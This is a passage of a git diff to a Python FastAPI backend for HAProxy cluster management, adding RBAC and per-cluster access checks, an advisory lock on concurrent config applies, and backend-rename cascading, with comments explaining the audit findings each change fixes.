CURRENT_TIMESTAMP + WHERE backend_name = $2 AND cluster_id = $3 + """, new_backend_name, old_backend_name, cluster_id) + else: + # Legacy cluster_id=NULL rows + await conn.execute(""" + UPDATE backend_servers + SET backend_name = $1, updated_at = CURRENT_TIMESTAMP + WHERE backend_name = $2 AND cluster_id IS NULL + """, new_backend_name, old_backend_name) + + if cluster_id is not None: + updated_servers_count = await conn.fetchval(""" + SELECT COUNT(*) FROM backend_servers + WHERE backend_name = $1 AND cluster_id = $2 + """, new_backend_name, cluster_id) + else: + updated_servers_count = await conn.fetchval(""" + SELECT COUNT(*) FROM backend_servers + WHERE backend_name = $1 AND cluster_id IS NULL + """, new_backend_name) logger.info(f"BACKEND UPDATE: Updated {updated_servers_count} server references to new backend name") - + # CRITICAL FIX: Update frontend default_backend references if backend name changed logger.info(f"FRONTEND UPDATE: Updating frontend default_backend references from '{old_backend_name}' to '{new_backend_name}'") - await conn.execute(""" - UPDATE frontends - SET default_backend = $1, updated_at = CURRENT_TIMESTAMP - WHERE default_backend = $2 AND cluster_id = $3 - """, new_backend_name, old_backend_name, cluster_id) - - updated_frontends_count = await conn.fetchval(""" - SELECT COUNT(*) FROM frontends WHERE default_backend = $1 AND cluster_id = $2 - """, new_backend_name, cluster_id) + if cluster_id is not None: + await conn.execute(""" + UPDATE frontends + SET default_backend = $1, last_config_status = 'PENDING', updated_at = CURRENT_TIMESTAMP + WHERE default_backend = $2 AND cluster_id = $3 + """, new_backend_name, old_backend_name, cluster_id) + else: + await conn.execute(""" + UPDATE frontends + SET default_backend = $1, last_config_status = 'PENDING', updated_at = CURRENT_TIMESTAMP + WHERE default_backend = $2 AND cluster_id IS NULL + """, new_backend_name, old_backend_name) + + if cluster_id is not None: + updated_frontends_count = await conn.fetchval(""" + SELECT COUNT(*) FROM frontends + WHERE default_backend = $1 AND cluster_id = $2 + """, new_backend_name, cluster_id) + else: + updated_frontends_count = await conn.fetchval(""" + SELECT COUNT(*) FROM frontends + WHERE default_backend = $1 AND cluster_id IS NULL + """, new_backend_name) logger.info(f"FRONTEND UPDATE: Updated {updated_frontends_count} frontend default_backend references to new backend name") + # Bulgu #72 (round-22 audit) — cascade the rename + # into every frontend's `use_backend_rules` JSONB so + # `use_backend if ` becomes + # `use_backend if `. Pre-fix the + # rename only touched `default_backend` and + # `backend_servers`; the routing rules silently + # broke because they still referenced the disappeared + # backend name. The agent's `haproxy -c` would then + # either fail the reload (`'no such backend'`) or — + # if a `default_backend` was also configured — emit + # traffic to the default and the operator would see + # 503 / wrong-app responses without an obvious + # control-plane cause. + # + # ACL rules are NOT cascaded — they don't reference + # backend names (they reference path/host patterns), + # and even if an ACL definition shared a backend's + # name as a substring, that was coincidence, not a + # contract. + if cluster_id is not None: + frontends_with_use_backend = await conn.fetch(""" + SELECT id, name, use_backend_rules + FROM frontends + WHERE cluster_id = $1 AND is_active = TRUE + """, cluster_id) + else: + frontends_with_use_backend = await conn.fetch(""" + SELECT id, name, use_backend_rules + FROM frontends + WHERE cluster_id IS NULL AND is_active = TRUE + """) + + rename_count = 0 + for fe in frontends_with_use_backend: + raw_rules = fe['use_backend_rules'] if fe['use_backend_rules'] else [] + # asyncpg JSONB → already decoded; handle the + # legacy string-shaped column defensively. + if isinstance(raw_rules, str): + try: + raw_rules = json.loads(raw_rules) + except (TypeError, ValueError): + raw_rules = [] + if not isinstance(raw_rules, list): + continue + renamed = [ + _rename_use_backend_target(r, old_backend_name, new_backend_name) + for r in raw_rules + ] + if renamed != raw_rules: + await conn.execute(""" + UPDATE frontends + SET use_backend_rules = $1, + last_config_status = 'PENDING', + updated_at = CURRENT_TIMESTAMP + WHERE id = $2 + """, json.dumps(renamed), fe['id']) + rename_count += 1 + logger.info( + f"BACKEND RENAME: cascaded {old_backend_name!r}" + f" → {new_backend_name!r} in frontend" + f" {fe['name']!r} use_backend_rules" + ) + if rename_count: + logger.info( + f"BACKEND RENAME: updated use_backend_rules in" + f" {rename_count} frontend(s)" + ) + async with conn.transaction(): # Update main backend properties # await conn.execute(""" @@ -1268,22 +1482,39 @@ async def delete_backend(backend_id: int, authorization: str = Header(None)): # Parse use_backend_rules (JSONB array) use_backend_rules = frontend['use_backend_rules'] if frontend['use_backend_rules'] else [] acl_rules = frontend['acl_rules'] if frontend['acl_rules'] else [] - - # Filter out rules referencing deleted backend - filtered_use_backend = [rule for rule in use_backend_rules if backend_name not in rule] - filtered_acl = [rule for rule in acl_rules if backend_name not in rule] - + + # Bulgu #71 (round-22 audit) — drop only the use_backend + # entries whose FIRST TOKEN matches the deleted backend + # exactly. Pre-fix the naive `backend_name not in rule` + # substring filter wiped `use_backend api-v2 ...` when + # "api" was deleted (and similarly for any `*api*` / + # `api*` backend pair). The `acl_rules` list is left + # untouched on purpose — ACL definitions are reusable + # predicates (e.g. `is_api hdr(host) -i api.example.com`) + # and have no semantic dependency on the deleted backend + # even when their name happens to share a substring. + filtered_use_backend = [ + rule for rule in use_backend_rules + if _extract_use_backend_target(rule) != backend_name + ] + filtered_acl = list(acl_rules) + # Update frontend if rules were removed - if len(filtered_use_backend) != len(use_backend_rules) or len(filtered_acl) != len(acl_rules): + if len(filtered_use_backend) != len(use_backend_rules): import json await conn.execute(""" - UPDATE frontends - SET use_backend_rules = $1, acl_rules = $2, + UPDATE frontends + SET use_backend_rules = $1, acl_rules = $2, last_config_status = 'PENDING', updated_at = CURRENT_TIMESTAMP WHERE id = $3 """, json.dumps(filtered_use_backend), json.dumps(filtered_acl), frontend['id']) - - logger.info(f"BACKEND DELETE: Cleaned ACL/use_backend rules for frontend '{frontend['name']}' (removed {backend_name} references)") + + logger.info( + f"BACKEND DELETE: Cleaned use_backend rules for frontend " + f"'{frontend['name']}' (removed {len(use_backend_rules) - len(filtered_use_backend)} " + f"rule(s) targeting {backend_name!r}, " + f"{len(filtered_acl)} acl_rules preserved)" + ) # 3. Soft delete the backend (mark as inactive and set PENDING) await conn.execute(""" @@ -1332,12 +1563,36 @@ async def delete_backend(backend_id: int, authorization: str = Header(None)): @router.delete("/servers/{server_id}") async def delete_server(server_id: int, request: Request, authorization: str = Header(None)): - """Delete a server from backend""" + """Delete a server from backend. + + Bulgu #77 (round-22 audit) — pre-fix this handler only + authenticated the caller (`get_current_user_from_token`) + and did NOT check `backends.update` permission, so any + logged-in user — including read-only viewers — could + delete servers. The sibling backend-level DELETE / PUT / + POST handlers all enforced `backends.delete` / + `backends.update`; servers are part of the same RBAC + surface and were missing the same gate. + + Bulgu #79 (round-22 audit) — also missing cluster + access validation. An operator scoped to cluster 1 could + delete a server in cluster 2 if they had `backends.update` + permission globally. + """ try: - from auth_middleware import get_current_user_from_token + from auth_middleware import get_current_user_from_token, check_user_permission current_user = await get_current_user_from_token(authorization) - + has_permission = await check_user_permission(current_user["id"], "backends", "update") + if not has_permission: + raise HTTPException( + status_code=403, + detail="Insufficient permissions: backends.update required", + ) + conn = await get_database_connection() + # Server's cluster is fetched right below; we validate + # access AFTER the fetch so the 404 path takes priority + # over the 403 (mirrors existing patterns in this file). # Get server info before deletion server = await conn.fetchrow(""" @@ -1348,20 +1603,25 @@ async def delete_server(server_id: int, request: Request, authorization: str = H if not server: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Server not found") - + cluster_id = server['cluster_id'] backend_name = server['backend_name'] server_name = server['server_name'] - + + # Bulgu #79 — validate the operator has access to the + # server's owning cluster BEFORE accepting the delete. + if cluster_id: + await validate_user_cluster_access(current_user['id'], cluster_id, conn) + # Get request body for cluster_id validation request_body = await request.json() if hasattr(request, 'json') else {} expected_cluster_id = request_body.get('cluster_id') - + # Validate cluster ownership for multi-cluster security if expected_cluster_id and cluster_id != expected_cluster_id: await close_database_connection(conn) raise HTTPException( - status_code=403, + status_code=403, detail=f"Server belongs to cluster {cluster_id}, not cluster {expected_cluster_id}" ) @@ -1456,11 +1716,21 @@ async def delete_server(server_id: int, request: Request, authorization: str = H @router.put("/servers/{server_id}") async def update_server(server_id: int, server_data: dict, request: Request, authorization: str = Header(None)): - """Update server details""" + """Update server details. + + Bulgu #77 (round-22 audit) — see `delete_server` above; the + same authn-only / no-RBAC gap existed here. + """ try: - from auth_middleware import get_current_user_from_token + from auth_middleware import get_current_user_from_token, check_user_permission current_user = await get_current_user_from_token(authorization) - + has_permission = await check_user_permission(current_user["id"], "backends", "update") + if not has_permission: + raise HTTPException( + status_code=403, + detail="Insufficient permissions: backends.update required", + ) + conn = await get_database_connection() # PHASE 2: Get FULL server record for snapshot @@ -1471,9 +1741,13 @@ async def update_server(server_id: int, server_data: dict, request: Request, aut if not existing_server: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Server not found") - + cluster_id = existing_server['cluster_id'] - + + # Bulgu #79 — validate cluster access. + if cluster_id: + await validate_user_cluster_access(current_user['id'], cluster_id, conn) + # Build dynamic update query update_fields = [] update_values = [] @@ -1617,13 +1891,22 @@ async def update_server(server_id: int, server_data: dict, request: Request, aut @router.put("/servers/{server_id}/toggle") async def toggle_server(server_id: int, request: Request, authorization: str = Header(None)): - """Toggle server enabled/disabled status""" + """Toggle server enabled/disabled status. + + Bulgu #77 (round-22 audit) — see `delete_server` above. + """ logger.error(f"SERVER TOGGLE DEBUG: Starting toggle for server_id={server_id}") try: - from auth_middleware import get_current_user_from_token + from auth_middleware import get_current_user_from_token, check_user_permission current_user = await get_current_user_from_token(authorization) + has_permission = await check_user_permission(current_user["id"], "backends", "update") + if not has_permission: + raise HTTPException( + status_code=403, + detail="Insufficient permissions: backends.update required", + ) logger.error(f"SERVER TOGGLE DEBUG: User authenticated: {current_user.get('username')}") - + conn = await get_database_connection() # Get server info @@ -1635,13 +1918,17 @@ async def toggle_server(server_id: int, request: Request, authorization: str = H if not server: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Server not found") - + + # Bulgu #79 — validate cluster access. + if server['cluster_id']: + await validate_user_cluster_access(current_user['id'], server['cluster_id'], conn) + # Toggle server status new_status = not server['is_active'] logger.error(f"SERVER TOGGLE DEBUG: Toggling server {server['server_name']} from {server['is_active']} to {new_status}") await conn.execute(""" - UPDATE backend_servers - SET is_active = $1, updated_at = CURRENT_TIMESTAMP + UPDATE backend_servers + SET is_active = $1, updated_at = CURRENT_TIMESTAMP WHERE id = $2 """, new_status, server_id) logger.error(f"SERVER TOGGLE DEBUG: Server status updated successfully") diff --git a/backend/routers/cluster.py b/backend/routers/cluster.py index 927299a..a3a45d8 100644 --- a/backend/routers/cluster.py +++ b/backend/routers/cluster.py @@ -7,11 +7,127 @@ from datetime import datetime, timezone from models import HAProxyClusterCreate, HAProxyClusterUpdate from database.connection import get_database_connection, close_database_connection from utils.activity_log import log_user_activity + + +# Bulgu #79 (round-22 audit) — cluster.py pre-fix had ZERO calls +# to `validate_user_cluster_access`. Every cluster-scoped +# mutation (`apply-changes`, `delete cluster`, `update cluster`, +# `restore config version`, `reject pending changes`, etc.) +# only checked permission ROLE (e.g. `apply.execute`) but never +# verified the operator actually has access to THIS particular +# cluster id. With permission roles granted globally, an +# operator scoped to cluster 1 (via `user_pool_access`) could +# call `POST /api/clusters/2/apply-changes` and apply cluster 2's +# pending changes, blow away cluster 2's `user_pool_access` +# scoping, etc. The helper duplicated across other routers +# (`backend.py`, `frontend.py`, `ssl.py`, `waf.py`, `agent.py`) +# is re-defined here to keep the module self-contained — a +# future refactor can hoist it into a shared `auth_middleware` +# module but the duplication is harmless and pin-tested. +async def validate_user_cluster_access(user_id: int, cluster_id: int, conn): + """Validate that user has access to the specified cluster. + + Admins bypass the check. Non-admins must have an active + (non-expired) row in `user_pool_access` for the cluster's + pool. Falls back to allow on legacy schemas missing the + table / column for backwards compatibility. + """ + cluster_exists = await conn.fetchval( + "SELECT id FROM haproxy_clusters WHERE id = $1", cluster_id + ) + if not cluster_exists: + raise HTTPException(status_code=404, detail="Cluster not found") + + is_admin = await conn.fetchval( + "SELECT is_admin FROM users WHERE id = $1", user_id + ) + if is_admin: + return True + + table_exists = await conn.fetchval(""" + SELECT EXISTS ( + SELECT 1 FROM information_schema.tables + WHERE table_name = 'user_pool_access' + ) + """) + if not table_exists: + logger.warning( + "user_pool_access table not found, allowing cluster access " + "by fallback (legacy schema)" + ) + return True + + # Risk audit fix (post-Bulgu-#79): the original helper in + # routers/backend.py filters on `upa.is_active = TRUE` in + # addition to the expires_at window. Without it, + # soft-deleted access rows (`is_active = FALSE`) would still + # match — defeating the soft-delete contract. Also check + # whether the `expires_at` column exists so we keep the same + # backwards-compat shape as the existing helpers and don't + # introduce a column-missing 500 on legacy DBs that were + # working with the other routers' validators. + expires_at_exists = await conn.fetchval(""" + SELECT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'user_pool_access' AND column_name = 'expires_at' + ) + """) + if expires_at_exists: + has_access = await conn.fetchval(""" + SELECT EXISTS ( + SELECT 1 + FROM user_pool_access upa + JOIN haproxy_clusters hc ON hc.pool_id = upa.pool_id + WHERE upa.user_id = $1 + AND hc.id = $2 + AND upa.is_active = TRUE + AND (upa.expires_at IS NULL OR upa.expires_at > CURRENT_TIMESTAMP) + ) + """, user_id, cluster_id) + else: + # Legacy schema without expires_at — match the same + # fallback the routers/backend.py helper uses so the + # two validators agree byte-for-byte on legacy DBs. + has_access = await conn.fetchval(""" + SELECT EXISTS ( + SELECT 1 + FROM user_pool_access upa + JOIN haproxy_clusters hc ON hc.pool_id = upa.pool_id + WHERE upa.user_id = $1 + AND hc.id = $2 + AND upa.is_active = TRUE + ) + """, user_id, cluster_id) + + if not has_access: + raise HTTPException( + status_code=403, + detail="You don't have access to this cluster. Please contact your administrator." + ) + return True # Rate limiting import temporarily disabled router = APIRouter(prefix="/api/clusters", tags=["clusters"]) logger = logging.getLogger(__name__) + +class _ConcurrentlyDrained(Exception): + """Sentinel raised inside ``apply_pending_changes`` when the + advisory-lock-protected re-fetch shows that another caller + has already drained the PENDING config-version list. + + Risk-audit follow-up to Bulgu-#80. The earlier two-transaction + split between lock-and-recheck (TX1) and lock-and-apply (TX2) + left a brief gap where another caller could squeeze in, drain + PENDING rows, and commit before TX2 grabbed the lock. We now + collapse both phases into a single locked transaction and use + this sentinel to bail out cleanly when the re-fetch returns + empty. The class is module-level (not nested in the function + body) so Python can resolve it during ``except`` lookup even + when an OTHER exception is raised before the function reaches + the class-definition statement. + """ + def _extract_entities_from_config(config_content: str) -> dict: """Extract entity names from HAProxy config content for sync purposes""" import re @@ -265,18 +381,21 @@ async def update_cluster(cluster_id: int, cluster: HAProxyClusterUpdate, authori status_code=403, detail="Insufficient permissions: clusters.update required" ) - + conn = await get_database_connection() - + # Check if cluster exists and get current values existing_cluster = await conn.fetchrow(""" - SELECT name, description, connection_type, is_active, stats_socket_path, - haproxy_config_path, haproxy_bin_path, pool_id, acme_enabled + SELECT name, description, connection_type, is_active, stats_socket_path, + haproxy_config_path, haproxy_bin_path, pool_id, acme_enabled FROM haproxy_clusters WHERE id = $1 """, cluster_id) if not existing_cluster: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Cluster not found") + + # Bulgu #79 — validate cluster access (admins bypass). + await validate_user_cluster_access(current_user['id'], cluster_id, conn) # Build dynamic update query - only update fields that are provided (not None) update_fields = [] @@ -398,7 +517,7 @@ async def update_cluster(cluster_id: int, cluster: HAProxyClusterUpdate, authori @router.get("/{cluster_id}", summary="Get Cluster by ID", response_description="Cluster details") -async def get_cluster(cluster_id: int): +async def get_cluster(cluster_id: int, authorization: str = Header(None)): """ # Get Specific HAProxy Cluster @@ -436,6 +555,14 @@ async def get_cluster(cluster_id: int): - **500**: Server error """ try: + # R18c audit fix (round 6 final convergence): authenticate + # the caller before fetching cluster topology by ID. Pre-fix + # this sibling of GET /api/clusters was anonymous, so an + # attacker could iterate cluster IDs to enumerate the same + # info (stats socket, paths, ACME flags, pool identity) the + # list endpoint just locked down. Closes the asymmetry. + from auth_middleware import get_current_user_from_token + await get_current_user_from_token(authorization) conn = await get_database_connection() cluster = await conn.fetchrow(""" @@ -475,7 +602,7 @@ async def get_cluster(cluster_id: int): raise HTTPException(status_code=500, detail=str(e)) @router.get("", summary="Get All Clusters", response_description="List of all clusters") -async def get_clusters(): +async def get_clusters(authorization: str = Header(None)): """ # Get All HAProxy Clusters @@ -536,6 +663,17 @@ async def get_clusters(): - **500**: Server error """ try: + # R18c audit fix (round 6 #3 — KRITIK info leak): require an + # authenticated caller. Pre-fix the endpoint accepted + # anonymous GETs and returned cluster topology including + # internal HAProxy paths (stats socket, config path, bin + # path), pool ids, ACME flags, and agent counts. This is + # both reconnaissance for an attacker and the spine of the + # cluster-scoped RBAC the rest of the platform builds on, + # so guarding it at the read layer is essential after R18c + # round 5's roster + role guards. + from auth_middleware import get_current_user_from_token + await get_current_user_from_token(authorization) conn = await get_database_connection() clusters = await conn.fetch(""" @@ -1265,9 +1403,16 @@ async def apply_pending_changes( status_code=403, detail="Insufficient permissions: apply.execute required" ) - + conn = await get_database_connection() - + + # Bulgu #79 — validate the operator actually has access + # to THIS cluster. Pre-fix the `apply.execute` permission + # was granted globally, so any operator with the role + # could apply changes to ANY cluster, including clusters + # in pools they were never granted access to. + await validate_user_cluster_access(current_user['id'], cluster_id, conn) + # Apply all pending changes without validation - validation issues will be handled by HAProxy itself # Users will handle configuration completeness through the centralized Apply Management page @@ -1367,7 +1512,96 @@ async def apply_pending_changes( "changes": [{"version_name": v["version_name"], "created_at": v["created_at"].isoformat().replace('+00:00', 'Z')} for v in pending_versions] } + # Bulgu #80 (round-22 audit) — serialise concurrent + # apply-changes against the SAME cluster. Pre-fix the + # entire apply pipeline was unprotected: two operators + # clicking Apply at the same instant (or one operator + # double-clicking from two tabs / an API client retrying + # on timeout) both raced through the "fetch pending + # versions → render consolidated config → INSERT APPLIED + # version → mark pending APPLIED → notify agents" + # pipeline. The DB ended up with two + # `APPLIED`/`is_active=TRUE` consolidated rows for the + # same cluster, both agent notifications fired, and the + # agent that pulled second silently overwrote whatever + # the first one had loaded — including the case where + # the two consolidated configs disagreed on which + # pending versions made it in. + # + # `pg_advisory_xact_lock` is the same primitive + # `site_wizard.py::create_site` already uses for + # per-cluster serialisation (Bulgu #54). The lock is + # automatically released on COMMIT or ROLLBACK, so we + # don't need an explicit `unlock` path. We use a unique + # namespace constant (`18181820`) so the lock space is + # disjoint from the wizard's draft-cap and create-site + # lock spaces. Concurrent callers BLOCK until the + # holder finishes; they then re-check the pending list + # and bail out cleanly when it's drained. + # + # The lock must live inside an explicit transaction + # (xact_lock semantics require it), so we open the + # apply transaction immediately around the lock + the + # pending-list re-fetch. The post-lock re-fetch is + # critical: the racing caller's first read happened + # BEFORE the lock was held; the rows may have been + # consolidated by the holder in the meantime. + APPLY_LOCK_NS = 18181820 + + # Risk-audit refinement (post-Bulgu-#80): the earlier + # implementation split the lock acquisition and the + # apply pipeline into TWO advisory-locked transactions + # with a brief gap between them. Because + # `pg_advisory_xact_lock` releases automatically on + # COMMIT, a concurrent caller could squeeze in during + # that gap, drain all PENDING versions, and the second + # transaction would proceed to ship a fresh config + # generated from the (now-already-applied) database + # state — producing a duplicate consolidated APPLIED + # version and a redundant agent notification. We + # collapse to ONE locked transaction: acquire the + # lock, RE-FETCH `pending_versions` under the lock + # (the outer fetch at line ~1402 is now stale-as-of + # pre-lock), filter previously-detected orphans, and + # bail via a sentinel exception if the list drained. + # Rollback on the sentinel keeps the no-op idempotent + # because no APPLY state has been written yet at that + # point. All operations that actually mutate state run + # AFTER this re-fetch inside the same locked TX. async with conn.transaction(): + await conn.execute( + "SELECT pg_advisory_xact_lock($1, $2)", + APPLY_LOCK_NS, + cluster_id, + ) + + pending_versions_locked = await conn.fetch(""" + SELECT id, version_name, created_at, config_content, checksum, metadata + FROM config_versions + WHERE cluster_id = $1 AND status = 'PENDING' + ORDER BY created_at ASC + """, cluster_id) + pending_versions_locked = [ + v for v in pending_versions_locked + if v['id'] not in orphan_version_ids + ] + if not pending_versions_locked: + # Concurrent caller already drained — bail + # via the sentinel exception. The `async + # with conn.transaction():` rolls back on + # the propagating exception, releasing the + # advisory lock cleanly. The outer + # `except _ConcurrentlyDrained:` (defined + # before the generic catch-all) returns the + # standard "nothing to apply" response. + raise _ConcurrentlyDrained() + # Overwrite the pre-lock snapshot so every + # downstream consumer (restore detection, + # consolidated-version metadata, agent + # notification payloads) operates on the + # authoritative locked view. + pending_versions = pending_versions_locked + # CRITICAL: SSL scope-aware apply (MUST be inside transaction for atomicity) # SSL update'lerde tek Apply tıklaması ile scope'daki tüm cluster'lara yayılır # Global SSL: Tüm cluster'lar, Cluster-specific SSL: İlgili cluster'lar @@ -2093,7 +2327,26 @@ defaults response_data["message"] += f" (+ {sum(1 for r in global_apply_results if r['success'])} other clusters with global SSL)" return response_data - + + except _ConcurrentlyDrained: + # Risk-audit follow-up to Bulgu-#80: a concurrent + # apply caller drained the PENDING list while we + # were blocked on the advisory lock. Return the same + # idempotent "nothing to do" shape the early-return + # at line ~1473 produces so the FE/CLI handle both + # paths identically. Connection is closed here + # because the route handler's normal completion path + # doesn't run. + try: + await close_database_connection(conn) + except Exception: + pass + return { + "message": "No pending changes to apply (consumed by concurrent apply)", + "applied_count": 0, + } + except HTTPException: + raise except Exception as e: logger.error(f"Error applying pending changes: {e}") raise HTTPException(status_code=500, detail=str(e)) @@ -2470,8 +2723,62 @@ defaults return lines[start_idx:end_idx] version_name = current_version['version_name'] - prev_lines_full = previous_version['config_content'].split('\n') if previous_version else [] - curr_lines_full = current_version['config_content'].split('\n') + + # Bulgu #15 (post-Round-4 audit): apply a renderer-equivalent + # normalization to BOTH sides of the diff before splitting + # into lines. This neutralises renderer evolution between + # the time the previous version was rendered (older renderer) + # and the current version (newer renderer) so the diff + # surfaces ONLY operator-intent changes. + # + # Concrete scenario the user hit: + # * Operator opens the wizard, only edits the new + # site's frontend port + a single backend-server IP, + # creates two NEW entities (fe-site2 + be-site2). + # * Expected diff: only `+` lines for the two new + # blocks. + # * Actual diff pre-fix: every existing frontend in the + # cluster showed `-` lines for redundant + # `http-request track-sc0 src` calls (now deduped by + # the new renderer), and the unmodified `be-site` + # backend showed a `-` line stripping `cookie srv1` + # from its server (now guarded by the renderer when + # the parent backend has no `cookie_name`). + # + # Normalising both sides through the same canonical pass + # cancels out the renderer-only differences before the + # textual diff is computed. The function is idempotent so + # configs that were already rendered with the new + # renderer pass through unchanged. + try: + from services.haproxy_config import ( + _normalize_haproxy_config_text_for_diff, + ) + prev_raw = ( + previous_version['config_content'] + if previous_version and previous_version['config_content'] + else '' + ) + curr_raw = current_version['config_content'] or '' + prev_norm = _normalize_haproxy_config_text_for_diff(prev_raw) + curr_norm = _normalize_haproxy_config_text_for_diff(curr_raw) + except Exception as _norm_err: + # Defensive: never let a normalization bug break the + # diff endpoint. Fall back to the raw stored text on + # any error path. + logger.warning( + f"DIFF NORMALIZE: falling back to raw config text " + f"due to normalization error: {_norm_err}" + ) + prev_norm = ( + previous_version['config_content'] + if previous_version and previous_version['config_content'] + else '' + ) + curr_norm = current_version['config_content'] or '' + + prev_lines_full = prev_norm.split('\n') if prev_norm else [] + curr_lines_full = curr_norm.split('\n') scoped_prev = prev_lines_full scoped_curr = curr_lines_full @@ -2490,6 +2797,10 @@ defaults else: # Scope diffs for entity types to avoid showing whole file additions + # Bulgu #15: feed `extract_block` from the NORMALIZED + # text on both sides, mirroring the full-diff branch + # above, so entity-scoped diffs also surface only + # operator-intent changes. conn2 = await get_database_connection() try: if m_backend: @@ -2497,15 +2808,15 @@ defaults be_row = await conn2.fetchrow("SELECT name FROM backends WHERE id = $1", be_id) if be_row and be_row['name']: name = be_row['name'] - scoped_prev = extract_block(previous_version['config_content'] if previous_version else '', 'backend', name) - scoped_curr = extract_block(current_version['config_content'], 'backend', name) + scoped_prev = extract_block(prev_norm, 'backend', name) + scoped_curr = extract_block(curr_norm, 'backend', name) elif m_frontend: fe_id = int(m_frontend.group(1)) fe_row = await conn2.fetchrow("SELECT name FROM frontends WHERE id = $1", fe_id) if fe_row and fe_row['name']: name = fe_row['name'] - scoped_prev = extract_block(previous_version['config_content'] if previous_version else '', 'frontend', name) - scoped_curr = extract_block(current_version['config_content'], 'frontend', name) + scoped_prev = extract_block(prev_norm, 'frontend', name) + scoped_curr = extract_block(curr_norm, 'frontend', name) elif m_waf: # For WAF rules, show full diff as WAF rules are mixed throughout config scoped_prev = prev_lines_full @@ -2522,8 +2833,8 @@ defaults ) if sv_row and sv_row['backend_name']: be_name = sv_row['backend_name'] - scoped_prev = extract_block(previous_version['config_content'] if previous_version else '', 'backend', be_name) - scoped_curr = extract_block(current_version['config_content'], 'backend', be_name) + scoped_prev = extract_block(prev_norm, 'backend', be_name) + scoped_curr = extract_block(curr_norm, 'backend', be_name) finally: await close_database_connection(conn2) @@ -3112,17 +3423,20 @@ async def confirm_restore_config_version( current_user = await get_current_user_from_token(authorization) conn = await get_database_connection() - + + # Bulgu #79 — validate cluster access (admins bypass). + await validate_user_cluster_access(current_user['id'], cluster_id, conn) + # Get version to restore version_to_restore = await conn.fetchrow( "SELECT * FROM config_versions WHERE id = $1 AND cluster_id = $2", version_id, cluster_id ) - + if not version_to_restore: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Configuration version not found") - + if not version_to_restore['config_content']: await close_database_connection(conn) raise HTTPException(status_code=400, detail="Version has no config content") @@ -3841,23 +4155,77 @@ async def undo_reject_config_version( try: from auth_middleware import get_current_user_from_token current_user = await get_current_user_from_token(authorization) - + conn = await get_database_connection() - + + # Bulgu #79 — validate cluster access (admins bypass). + await validate_user_cluster_access(current_user['id'], cluster_id, conn) + # Check if version exists and is REJECTED version_to_undo = await conn.fetchrow( "SELECT * FROM config_versions WHERE id = $1 AND cluster_id = $2", version_id, cluster_id ) - + if not version_to_undo: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Configuration version not found") - + if version_to_undo['status'] != 'REJECTED': await close_database_connection(conn) raise HTTPException(status_code=400, detail="Only REJECTED versions can be undone") - + + # Bulgu #16 (round-6 audit) — defensive guard against + # undo of bulk-site-create-* / bulk-import-* / restore-* + # rejections. + # + # Why this guard exists: the reject path for these + # destructive bulk operations calls + # `rollback_entity_from_snapshot` for every entity in + # `metadata.bulk_snapshots`. For CREATE-op snapshots that + # routes to `_rollback_create` which HARD-DELETEs the rows + # (frontends / backends / backend_servers / letsencrypt_orders + # / ssl_certificates). The wizard's `_entity_snapshot` + # helper stores `new_values={}` so we have no preserved + # state to recreate from. + # + # The pre-fix undo silently flipped the version status + # back to PENDING and matched zero rows on the entity- + # status UPDATE. The next agent pull would render config + # WITHOUT the wizard's frontends/backends (they no longer + # exist), the apply would succeed cosmetically, and the + # operator would be confused why their "undone" site is + # nowhere to be found. + # + # Explicit 409 here forces the operator to re-create via + # the wizard — the only path that produces a recoverable + # state. The UI can hide / disable the Undo button for + # bulk versions in REJECTED state to make this guard + # self-documenting. + version_name = version_to_undo['version_name'] or '' + DESTRUCTIVE_PREFIXES = ( + 'bulk-site-create-', + 'bulk-import-', + 'bulk-proxied-host-create-', # legacy naming, pre-1.5.0 + 'restore-', + ) + if version_name.startswith(DESTRUCTIVE_PREFIXES): + await close_database_connection(conn) + raise HTTPException( + status_code=409, + detail=( + f"Cannot undo rejection of '{version_name}'. This " + "version represents a destructive bulk operation: on " + "reject the underlying entities (frontends, backends, " + "servers, certs) were permanently deleted and the " + "snapshot does not carry enough state to recreate " + "them. Re-create the site via the wizard / re-run the " + "bulk import instead — that path also produces a " + "clean PENDING version that you can audit on Apply " + "Management." + ), + ) + async with conn.transaction(): # Mark the version as PENDING again await conn.execute(""" @@ -4252,14 +4620,17 @@ async def delete_cluster(cluster_id: int, authorization: str = Header(None)): status_code=403, detail="Insufficient permissions: clusters.delete required" ) - + conn = await get_database_connection() - + # Check if cluster exists cluster = await conn.fetchrow("SELECT name FROM haproxy_clusters WHERE id = $1", cluster_id) if not cluster: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Cluster not found") + + # Bulgu #79 — validate cluster access (admins bypass). + await validate_user_cluster_access(current_user['id'], cluster_id, conn) # Check for dependencies before deletion dependencies = [] @@ -4306,7 +4677,44 @@ async def delete_cluster(cluster_id: int, authorization: str = Header(None)): async with conn.transaction(): # Delete config versions first (they reference cluster) await conn.execute("DELETE FROM config_versions WHERE cluster_id = $1", cluster_id) - + + # R18 audit fix (round 3 #8): wizard_drafts.payload carries + # the chosen cluster_id as JSONB. Without explicit cleanup, + # deleting a cluster left every operator's saved Site Drafts + # pointing at a non-existent cluster — Resume failed at the + # cluster Select (404) until the 30-day TTL pruned them. + # Drafts are user-scoped (no FK), so we have to scan the + # JSONB payload. The (payload->>'cluster_id') JSON path is + # text; cast to int and compare against the deleted cluster. + # Phase I: dual-filter — purge BOTH legacy + # `wizard_type='proxied_host'` and post-rebrand + # `wizard_type='site'` drafts that pointed at this + # now-deleted cluster, otherwise pre-rename drafts would + # linger as orphans until their 30-day TTL fires. + try: + deleted_drafts = await conn.execute( + """ + DELETE FROM wizard_drafts + WHERE wizard_type IN ('site', 'proxied_host') + AND (payload->>'cluster_id') ~ '^[0-9]+$' + AND ((payload->>'cluster_id')::int) = $1 + """, + cluster_id, + ) + if deleted_drafts and 'DELETE 0' not in str(deleted_drafts): + logger.info( + f"CLUSTER DELETE CASCADE: pruned wizard_drafts referencing " + f"cluster_id={cluster_id} ({deleted_drafts})" + ) + except Exception as draft_e: + # Non-fatal — the cluster delete should still proceed + # even if the drafts table is missing or the JSONB path + # fails (very old DB schemas). + logger.warning( + f"CLUSTER DELETE CASCADE: failed to prune wizard_drafts " + f"for cluster_id={cluster_id}: {draft_e}" + ) + # Delete cluster await conn.execute("DELETE FROM haproxy_clusters WHERE id = $1", cluster_id) @@ -4481,18 